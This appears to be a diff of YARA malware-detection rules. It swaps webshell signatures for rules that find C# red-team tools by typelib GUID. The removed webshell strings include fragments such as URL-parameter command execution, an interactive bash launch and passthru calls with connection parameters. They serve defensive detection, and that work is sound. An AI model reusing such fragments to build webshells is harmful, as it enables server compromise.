+		$typelibguid2up = "297CBCA1-EFA3-4F2A-8D5F-E1FAF02BA587" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Web_Shell__C_Shankar
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Xploit : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file Web-shell (c)ShAnKaR.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "966f5580-21c5-5ecf-b500-bde3d1ba4494"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6388-L6402"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3dd4f25bd132beb59d2ae0c813373c9ea20e1b7a"
-		logic_hash = "9d320eed18a5d76a87cee4ea0fa9caf08f096f7eeaab55420540aa082b596e0f"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "11ba6c14-06b6-5d9f-ac69-08ae506877e7"
+		date = "2020-12-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/shargon/Xploit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2649-L2683"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b049d1fe26677b8c1a5bfcb46bfa2b35073f2b4bba02551b490a527df81f145b"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 83
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "header(\"Content-Length: \".filesize($_POST['downf']));" fullword
-		$s5 = "if($_POST['save']==0){echo \"<textarea cols=70 rows=10>\".htmlspecialchars($dump"
-		$s6 = "write(\"#\\n#Server : \".getenv('SERVER_NAME').\"" fullword
-		$s12 = "foreach(@file($_POST['passwd']) as $fed)echo $fed;" fullword
+		$typelibguid0lo = "4545cfde-9ee5-4f1b-b966-d128af0b9a6e" ascii wide
+		$typelibguid0up = "4545CFDE-9EE5-4F1B-B966-D128AF0B9A6E" ascii wide
+		$typelibguid1lo = "33849d2b-3be8-41e8-a1e2-614c94c4533c" ascii wide
+		$typelibguid1up = "33849D2B-3BE8-41E8-A1E2-614C94C4533C" ascii wide
+		$typelibguid2lo = "c2dc73cc-a959-4965-8499-a9e1720e594b" ascii wide
+		$typelibguid2up = "C2DC73CC-A959-4965-8499-A9E1720E594B" ascii wide
+		$typelibguid3lo = "77059fa1-4b7d-4406-bc1a-cb261086f915" ascii wide
+		$typelibguid3up = "77059FA1-4B7D-4406-BC1A-CB261086F915" ascii wide
+		$typelibguid4lo = "a4a04c4d-5490-4309-9c90-351e5e5fd6d1" ascii wide
+		$typelibguid4up = "A4A04C4D-5490-4309-9C90-351E5E5FD6D1" ascii wide
+		$typelibguid5lo = "ca64f918-3296-4b7d-9ce6-b98389896765" ascii wide
+		$typelibguid5up = "CA64F918-3296-4B7D-9CE6-B98389896765" ascii wide
+		$typelibguid6lo = "10fe32a0-d791-47b2-8530-0b19d91434f7" ascii wide
+		$typelibguid6up = "10FE32A0-D791-47B2-8530-0B19D91434F7" ascii wide
+		$typelibguid7lo = "679bba57-3063-4f17-b491-4f0a730d6b02" ascii wide
+		$typelibguid7up = "679BBA57-3063-4F17-B491-4F0A730D6B02" ascii wide
+		$typelibguid8lo = "0981e164-5930-4ba0-983c-1cf679e5033f" ascii wide
+		$typelibguid8up = "0981E164-5930-4BA0-983C-1CF679E5033F" ascii wide
+		$typelibguid9lo = "2a844ca2-5d6c-45b5-963b-7dca1140e16f" ascii wide
+		$typelibguid9up = "2A844CA2-5D6C-45B5-963B-7DCA1140E16F" ascii wide
+		$typelibguid10lo = "7d75ca11-8745-4382-b3eb-c41416dbc48c" ascii wide
+		$typelibguid10up = "7D75CA11-8745-4382-B3EB-C41416DBC48C" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Ayyildiz_Tim___AYT__Shell_V_2_1_Biz
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Poc : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file Ayyildiz Tim  -AYT- Shell v 2.1 Biz.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fdd9bae9-80f3-5200-b922-e7d194009af8"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6403-L6417"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5fe8c1d01dc5bc70372a8a04410faf8fcde3cb68"
-		logic_hash = "2d096baad162c0e3e01732007a3be2804155e614a8fa4cd2d5dd3a7ac808fb49"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "5669bc1a-b32e-5ae7-bf94-8ed2a124c765"
+		date = "2020-12-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/thezdi/PoC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2685-L2699"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "938b553912d069969326bc970d94c23749af3ef28a0b5ce2c49d9de54358f9bd"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s7 = "<meta name=\"Copyright\" content=TouCh By iJOo\">" fullword
-		$s11 = "directory... Trust me - it works :-) */" fullword
-		$s15 = "/* ls looks much better with ' -F', IMHO. */" fullword
-		$s16 = "} else if ($command == 'ls') {" fullword
+		$typelibguid0lo = "89f9d411-e273-41bb-8711-209fd251ca88" ascii wide
+		$typelibguid0up = "89F9D411-E273-41BB-8711-209FD251CA88" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Gamma_Web_Shell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpgpoabuse : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file Gamma Web Shell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "43b4fc9f-8897-5553-8846-29d307efa885"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6418-L6432"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7ef773df7a2f221468cc8f7683e1ace6b1e8139a"
-		logic_hash = "1de868c4948a95272d288aeba3ac38b84bf6b33ede6b3b600b32530c85586404"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "ea27044f-69be-5db7-8d77-28dafb18c7e5"
+		date = "2020-12-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/FSecureLABS/SharpGPOAbuse"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2701-L2715"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e3539bb9bdf7a9986e8fcfc725233363285e1dfe3de254b6979643abfe7944a5"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "$ok_commands = ['ls', 'ls -l', 'pwd', 'uptime'];" fullword
-		$s8 = "### Gamma Group <http://www.gammacenter.com>" fullword
-		$s15 = "my $error = \"This command is not available in the restricted mode.\\n\";" fullword
-		$s20 = "my $command = $self->query('command');" fullword
+		$typelibguid0lo = "4f495784-b443-4838-9fa6-9149293af785" ascii wide
+		$typelibguid0up = "4F495784-B443-4838-9FA6-9149293AF785" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Webshells_Aspydrv
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Watson : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file aspydrv.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6433-L6448"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3d8996b625025dc549d73cdb3e5fa678ab35d32a"
-		logic_hash = "314fd671b163b9904cc78cb3a5858f5b1e3dfae9d520d5ebc545a7abd922e9f7"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "6dc7bb08-0b34-50a0-8ae8-02d96d66a334"
+		date = "2020-12-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/rasta-mouse/Watson"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2717-L2731"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cc7134a974b11b677e368f4f01ec534578bcd970282dc2c8b7f4852cb028514a"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Target = \"D:\\hshome\\masterhr\\masterhr.com\\\"  ' ---Directory to which files"
-		$s1 = "nPos = InstrB(nPosEnd, biData, CByteString(\"Content-Type:\"))" fullword
-		$s3 = "Document.frmSQL.mPage.value = Document.frmSQL.mPage.value - 1" fullword
-		$s17 = "If request.querystring(\"getDRVs\")=\"@\" then" fullword
-		$s20 = "' ---Copy Too Folder routine Start" fullword
+		$typelibguid0lo = "49ad5f38-9e37-4967-9e84-fe19c7434ed7" ascii wide
+		$typelibguid0up = "49AD5F38-9E37-4967-9E84-FE19C7434ED7" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Jspwebshell_1_2_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Standin : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file JspWebshell 1.2.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "659f5c7d-0a9c-554d-a0ad-e3bcb8c5a1e9"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6449-L6464"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "184fc72b51d1429c44a4c8de43081e00967cf86b"
-		logic_hash = "41d937fce969a850a2e4e07eb168becc96a036317a78d620e812707be9466dfc"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "2af3c28a-ce5d-5dea-9abe-ff54b180049e"
+		date = "2020-12-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/FuzzySecurity/StandIn"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2733-L2747"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "105be83eb5db667b9f27f2a514e0d04748ca006ef64aa01b9f643c227e7f1639"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "System.out.println(\"CreateAndDeleteFolder is error:\"+ex); " fullword
-		$s3 = "<%@ page contentType=\"text/html; charset=GBK\" language=\"java\" import=\"java."
-		$s4 = "// String tempfilepath=request.getParameter(\"filepath\");" fullword
-		$s15 = "endPoint=random1.getFilePointer();" fullword
-		$s20 = "if (request.getParameter(\"command\") != null) {" fullword
+		$typelibguid0lo = "01c142ba-7af1-48d6-b185-81147a2f7db7" ascii wide
+		$typelibguid0up = "01C142BA-7AF1-48D6-B185-81147A2F7DB7" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_G00Nshell_V1_3
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Azure_Password_Harvesting : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file g00nshell-v1.3.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "61a09576-7e62-5a30-a52c-492b81b96322"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6465-L6480"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "70fe072e120249c9e2f0a8e9019f984aea84a504"
-		logic_hash = "2ecb3ce2aa43a99552fb26e610c35bdb04f4ff0dc75c867e4327d6e27eed0177"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "681cf9da-d664-5402-b7ac-eb2cfad85da9"
+		date = "2020-12-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/guardicore/azure_password_harvesting"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2749-L2763"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4b42d3318af410952f96ede0959363f33e75ce0644c58c1de85165e0acbbfcdd"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s10 = "#To execute commands, simply include ?cmd=___ in the url. #" fullword
-		$s15 = "$query = \"SHOW COLUMNS FROM \" . $_GET['table'];" fullword
-		$s16 = "$uakey = \"724ea055b975621b9d679f7077257bd9\"; // MD5 encoded user-agent" fullword
-		$s17 = "echo(\"<form method='GET' name='shell'>\");" fullword
-		$s18 = "echo(\"<form method='post' action='?act=sql'>\");" fullword
+		$typelibguid0lo = "7ad1ff2d-32ac-4c54-b615-9bb164160dac" ascii wide
+		$typelibguid0up = "7AD1FF2D-32AC-4C54-B615-9BB164160DAC" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Winx_Shell_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Powerops : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file WinX Shell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ebad4f2e-96c3-5cb7-b228-de3a6a39ae55"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		old_rule_name = "WebShell_WinX_Shell"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6481-L6497"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a94d65c168344ad9fa406d219bdf60150c02010e"
-		logic_hash = "f953c297763e41d197ce186dc818b656951dfa8c855c5063fc4abb54eeefc7bb"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "3ef9f099-13c9-5b6f-8615-232240530078"
+		date = "2020-12-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/fdiskyou/PowerOPS"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2765-L2779"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "211a96940c5cbca143471268500be46c13dc58469d2386b2dc7f8ff1f05a2c52"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "// It's simple shell for all Win OS." fullword
-		$s5 = "//------- [netstat -an] and [ipconfig] and [tasklist] ------------" fullword
-		$s6 = "<html><head><title>-:[GreenwooD]:- WinX Shell</title></head>" fullword
-		$s13 = "// Created by greenwood from n57" fullword
-		$s20 = " if (is_uploaded_file($userfile)) {" fullword
+		$typelibguid0lo = "2a3c5921-7442-42c3-8cb9-24f21d0b2414" ascii wide
+		$typelibguid0up = "2A3C5921-7442-42C3-8CB9-24F21D0B2414" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_PHANTASMA
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Random_Csharptools : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file PHANTASMA.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b36a7dbb-7d40-5fca-8409-c8822298005c"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6498-L6512"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cd12d42abf854cd34ff9e93a80d464620af6d75e"
-		logic_hash = "355be62807182f9a53bac20a6dead8f0a3bee83b6bdc4566502c157f16076b9b"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "ad8b5573-ad20-50cd-927b-a6401b10e653"
+		date = "2020-12-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/xorrior/Random-CSharpTools"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2781-L2807"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d1d5e372c6e1314ebf317b51633b83b2f9336048cc223982052e078ca86ee6bc"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s12 = "\"    printf(\\\"Usage: %s [Host] <port>\\\\n\\\", argv[0]);\\n\" ." fullword
-		$s15 = "if ($portscan != \"\") {" fullword
-		$s16 = "echo \"<br>Banner: $get <br><br>\";" fullword
-		$s20 = "$dono = get_current_user( );" fullword
+		$typelibguid0lo = "f7fc19da-67a3-437d-b3b0-2a257f77a00b" ascii wide
+		$typelibguid0up = "F7FC19DA-67A3-437D-B3B0-2A257F77A00B" ascii wide
+		$typelibguid1lo = "47e85bb6-9138-4374-8092-0aeb301fe64b" ascii wide
+		$typelibguid1up = "47E85BB6-9138-4374-8092-0AEB301FE64B" ascii wide
+		$typelibguid2lo = "c7d854d8-4e3a-43a6-872f-e0710e5943f7" ascii wide
+		$typelibguid2up = "C7D854D8-4E3A-43A6-872F-E0710E5943F7" ascii wide
+		$typelibguid3lo = "d6685430-8d8d-4e2e-b202-de14efa25211" ascii wide
+		$typelibguid3up = "D6685430-8D8D-4E2E-B202-DE14EFA25211" ascii wide
+		$typelibguid4lo = "1df925fc-9a89-4170-b763-1c735430b7d0" ascii wide
+		$typelibguid4up = "1DF925FC-9A89-4170-B763-1C735430B7D0" ascii wide
+		$typelibguid5lo = "817cc61b-8471-4c1e-b5d6-c754fc550a03" ascii wide
+		$typelibguid5up = "817CC61B-8471-4C1E-B5D6-C754FC550A03" ascii wide
+		$typelibguid6lo = "60116613-c74e-41b9-b80e-35e02f25891e" ascii wide
+		$typelibguid6up = "60116613-C74E-41B9-B80E-35E02F25891E" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Webshells_Cw
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_CVE_2020_0668 : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file cw.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6513-L6529"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e65e0670ef6edf0a3581be6fe5ddeeffd22014bf"
-		logic_hash = "52bfb14f4d5d3df787ce7782cbbee25ea1556758eed48e3001c8a3f35a541526"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "54c87578-f0f1-5108-a736-b6acd9624d29"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/RedCursorSecurityConsulting/CVE-2020-0668"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2809-L2823"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b72a5dff34f9674545acccad556204ed65dfdd587aa6a4d1fe542afd91e5a8d5"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "// Dump Database [pacucci.com]" fullword
-		$s2 = "$dump = \"-- Database: \".$_POST['db'] .\" \\n\";" fullword
-		$s7 = "$aids = passthru(\"perl cbs.pl \".$_POST['connhost'].\" \".$_POST['connport']);" fullword
-		$s8 = "<b>IP:</b> <u>\" . $_SERVER['REMOTE_ADDR'] .\"</u> - Server IP:</b> <a href='htt"
-		$s14 = "$dump .= \"-- Cyber-Warrior.Org\\n\";" fullword
-		$s20 = "if(isset($_POST['doedit']) && $_POST['editfile'] != $dir)" fullword
+		$typelibguid0lo = "1b4c5ec1-2845-40fd-a173-62c450f12ea5" ascii wide
+		$typelibguid0up = "1B4C5EC1-2845-40FD-A173-62C450F12EA5" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Include_W_Shell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Windowsrpcclients : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file php-include-w-shell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a80ca446-6612-51b4-99a7-8a8d8e6ee196"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6530-L6543"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1a7f4868691410830ad954360950e37c582b0292"
-		logic_hash = "2be144060d4fdaee38214dc2eba80c2a6fd3699060d274e66356fd5a08c9be4b"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "70fd7431-8c32-52a4-be9f-2a19ef77f2cc"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/tyranid/WindowsRpcClients"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2825-L2851"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a15992e0f24ec7ecec5a42d8996102e60958c441a1926267718531c95c8b7e35"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s13 = "# dump variables (DEBUG SCRIPT) NEEDS MODIFINY FOR B64 STATUS!!" fullword
-		$s17 = "\"phpshellapp\" => \"export TERM=xterm; bash -i\"," fullword
-		$s19 = "else if($numhosts == 1) $strOutput .= \"On 1 host..\\n\";" fullword
+		$typelibguid0lo = "843d8862-42eb-49ee-94e6-bca798dd33ea" ascii wide
+		$typelibguid0up = "843D8862-42EB-49EE-94E6-BCA798DD33EA" ascii wide
+		$typelibguid1lo = "632e4c3b-3013-46fc-bc6e-22828bf629e3" ascii wide
+		$typelibguid1up = "632E4C3B-3013-46FC-BC6E-22828BF629E3" ascii wide
+		$typelibguid2lo = "a2091d2f-6f7e-4118-a203-4cea4bea6bfa" ascii wide
+		$typelibguid2up = "A2091D2F-6F7E-4118-A203-4CEA4BEA6BFA" ascii wide
+		$typelibguid3lo = "950ef8ce-ec92-4e02-b122-0d41d83065b8" ascii wide
+		$typelibguid3up = "950EF8CE-EC92-4E02-B122-0D41D83065B8" ascii wide
+		$typelibguid4lo = "d51301bc-31aa-4475-8944-882ecf80e10d" ascii wide
+		$typelibguid4up = "D51301BC-31AA-4475-8944-882ECF80E10D" ascii wide
+		$typelibguid5lo = "823ff111-4de2-4637-af01-4bdc3ca4cf15" ascii wide
+		$typelibguid5up = "823FF111-4DE2-4637-AF01-4BDC3CA4CF15" ascii wide
+		$typelibguid6lo = "5d28f15e-3bb8-4088-abe0-b517b31d4595" ascii wide
+		$typelibguid6up = "5D28F15E-3BB8-4088-ABE0-B517B31D4595" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Mysql_Tool
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpfruit : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file mysql_tool.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a22a0a5c-a686-517e-b1f9-279edab0616b"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6544-L6556"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c9cf8cafcd4e65d1b57fdee5eef98f0f2de74474"
-		logic_hash = "611636b3fa9a3163574b18cf8eacebea9733a1ad381261387f79a532b003e8fd"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "bf318530-b17d-5275-84b2-c284528bdae6"
+		date = "2020-12-28"
+		modified = "2023-04-06"
+		reference = "https://github.com/rvrsh3ll/SharpFruit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2853-L2867"
